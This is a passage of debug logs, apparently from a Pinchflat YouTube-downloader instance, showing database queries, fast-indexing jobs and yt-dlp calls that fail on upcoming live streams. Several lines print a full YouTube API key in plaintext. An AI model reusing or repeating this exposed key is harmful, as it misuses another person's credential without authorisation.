s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:44.820 [debug] QUERY OK source="media_profiles" db=0.1ms idle=865.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:26:44.820 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:44.820 [debug] Fetching recent media IDs from YouTube API for playlist: UUk5aCrQAppGZ8atiOpgYZ1A 17:26:44.820 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:44.820 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:26:44.937 [debug] QUERY OK source="media_items" db=0.5ms idle=116.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [19, "KlkTi0h6KMw", "RMeAu8zYE0M", "Uvtj9sm0I-0", "IU1DgFBs7ts", "EkRq1nMOx9g", "DrDbZGDQIro", "hW4dvJT12VM", "B3vnE_bMu9g", "H4LWdyhRxIQ", "2Hm7RVlLJoE", "EfV91BjF5v4", "zL_s6dKitH0", "LzpVMWSROmY", "FaAHxpEdNck", "ToiduPpGIww", "nJ8fAfVevL8", "5jD4iU2_v4k", "IOuEO4Yaov0", "9sDIniWlIyw", "6VEm1oEv2UY", "gPyD2VYszUw", "zx5EqJCeYrk", "TbNdF9p7ZFY", "XiYTS435uuk", "b4CKcXNSNRc", "jAOobWqKaPQ", "yb5ybMem31Y", "5tPjlkyHJwI", "TlTDor_WXEo", "xnsHAYTNP5Y", "ojEWbNH0U_4", "4BvLKmBYOOo", "pMx1DnSn-eg", "Fp79NGnQBEw", "XUsoHp6_t2s", "VkZH3QYqD6U", "i55Pa_l8Xe8", "J7KVJ8D0AM8", "vlgFGxnHNMA", "Aa3KtmGEby4", "paX6IcPZPjM", "RvUrQWeK558", "n2qu3sMwexE", "hr7YFJ8iBL8", "YAhQJ08bzgs", "oPWfOh0LYZk", "h5Ya_mmFguc", "zfnBUM-LZNA", "T2r1B-dkbnk", ...] 17:26:44.937 [debug] QUERY OK source="settings" db=0.0ms idle=117.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:44.937 [debug] QUERY OK source="settings" db=0.0ms idle=117.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:44.938 [debug] Running yt-dlp command for action: get_media_attributes 17:26:44.940 [debug] QUERY OK source="settings" db=0.0ms idle=119.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:44.940 [debug] QUERY OK source="settings" db=0.0ms idle=119.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:44.940 [debug] QUERY OK source="settings" db=0.0ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:44.940 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/0f/c2/0fc2f334c65c3d432e62463540e5fabbf66b5c2454dc63b188f4d58dca21d215.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:26:46.419 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/0f/c2/0fc2f334c65c3d432e62463540e5fabbf66b5c2454dc63b188f4d58dca21d215.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments. 17:26:46.419 [error] Error creating media item 'hW4dvJT12VM' from URL: {:error, "ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments.\n", 1} 17:26:46.419 [debug] QUERY OK source="settings" db=0.1ms idle=1481.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:46.420 [debug] QUERY OK source="settings" db=0.0ms idle=1479.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:46.420 [debug] Running yt-dlp command for action: get_media_attributes 17:26:46.421 [debug] QUERY OK source="settings" db=0.0ms idle=1481.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:46.421 [debug] QUERY OK source="settings" db=0.0ms idle=1481.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:46.421 [debug] QUERY OK source="settings" db=0.0ms idle=607.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:46.421 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/b2/92/b292bbe249c24e30a9def8862a2e6d9bc2567717ca85a809a1da24383d26a910.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:26:47.709 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/b2/92/b292bbe249c24e30a9def8862a2e6d9bc2567717ca85a809a1da24383d26a910.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments. 17:26:47.709 [error] Error creating media item 'b4CKcXNSNRc' from URL: {:error, "ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments.\n", 1} 17:26:47.710 [debug] QUERY OK source="media_items" db=0.9ms idle=1289.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [19] 17:26:47.711 [debug] QUERY OK source="tasks" db=0.1ms idle=1289.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800206, 19, ~U[2026-02-10 23:26:47Z], ~U[2026-02-10 23:26:47Z]] 17:26:47.711 [info] {"args":{"id":19},"id":3800167,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":2891866,"event":"job:stop","queue_time":998750,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:59.392 [info] {"source":"oban","duration":10239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:00.077 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:27:07.845 [info] {"args":{"id":42},"id":3800168,"meta":{},"system_time":1770766027845867988,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:07.846 [info] {"args":{"id":15},"id":3800169,"meta":{},"system_time":1770766027845914413,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:07.846 [debug] QUERY OK source="sources" db=0.1ms idle=967.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [42] 17:27:07.846 [debug] QUERY OK source="sources" db=0.1ms idle=967.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [15] 17:27:07.846 [debug] QUERY OK source="settings" db=0.2ms idle=967.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:07.846 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:07.846 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:07.846 [debug] Fetching recent media IDs from YouTube API for playlist: UUWKveACEz1euuOk5eyzzvTg 17:27:07.846 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:07.847 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:07.847 [debug] QUERY OK source="settings" db=0.8ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:07.847 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:07.847 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:07.847 [debug] Fetching recent media IDs from YouTube API for playlist: UULFXk9J3O-hhOk0msOjKYdQ 17:27:07.847 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:07.847 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:07.893 [debug] QUERY OK source="media_items" db=0.6ms idle=45.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?)) [42, "yHFjcHZ1cN0", "NaDPMZKXcBU", "ArxhS4SQaP0", "KTlRBI2QCzM", "pcPzmDePH3E", "umQ39BhcyMM", "UCI7N70tNRE"] 17:27:07.894 [debug] QUERY OK source="media_items" db=0.4ms idle=46.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [42] 17:27:07.895 [debug] QUERY OK source="tasks" db=0.1ms idle=47.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800207, 42, ~U[2026-02-10 23:27:07Z], ~U[2026-02-10 23:27:07Z]] 17:27:07.895 [info] {"args":{"id":42},"id":3800168,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":49286,"event":"job:stop","queue_time":590167,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:07.901 [info] {"args":{"id":13},"id":3800170,"meta":{},"system_time":1770766027901670830,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:07.901 [debug] QUERY OK source="sources" db=0.1ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [13] 17:27:07.902 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:07.902 [debug] QUERY OK source="media_profiles" db=0.0ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:07.902 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:07.902 [debug] Fetching recent media IDs from YouTube API for playlist: UUlRwC5Vc8HrB6vGx6Ti-lhA 17:27:07.902 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:07.902 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:07.975 [debug] QUERY OK source="media_items" db=0.6ms idle=72.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [15, "QyJRbfVpasM", "cEvbtJKkiKA", "oIpuh9B54_Y", "qBngEbWvnLU", "ybedvH-Z1a0", "gyapvbUPeGY", "43yyNypLixI", "5TNRLSuu7Ck", "ogTdveOYLQw", "Lsn68mBl8t8", "xyjk-UAYXUw", "sjU6mk8YUFw", "l5-eiLTPkfo", "RrCOMIgn7lg", "5YyOA4Fb7DQ", "P0yz6bFnRPU", "UPvzdNYpGkk", "pXdGk0dzIso", "xNjq6F8JjZ4", "Z-PAcG0uecs", "yg7Oxq0V0bw", "044H43vCM5U", "WK4B1vsFvlA", "XAhoRD94yo8", "Vq8XXz_66lQ", "-OUVRcJMcfQ", "SkK7ve8Isq8", "P9yK5E1iw4o", "NHwWYgRkMOM", "neUAF2AjYZc", "zsYvx6oBdkI", "_wxU3z9VxOY", "Rl-Okv32Cg0", "xezfkm4w5Oo", "4mmV3TpYCwc", "6UbSy5JRc10", "z5VzU53LQ3Y", "QtN38fxQUZI", "aOB2mSALBiA", "Jr7pjruyR9s", "SQ_BWki10Y8", "1cwS7nzthpw", "ByK18GA2DZk", "YJgcAP3WHzM", "B0PiIsgmsTo", "O5myIiXLqug", "R6fZRX7mnEg", "Su5etRwlI-s", "ckwtQLlXZYQ", ...] 17:27:07.976 [debug] QUERY OK source="media_items" db=0.3ms idle=73.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= 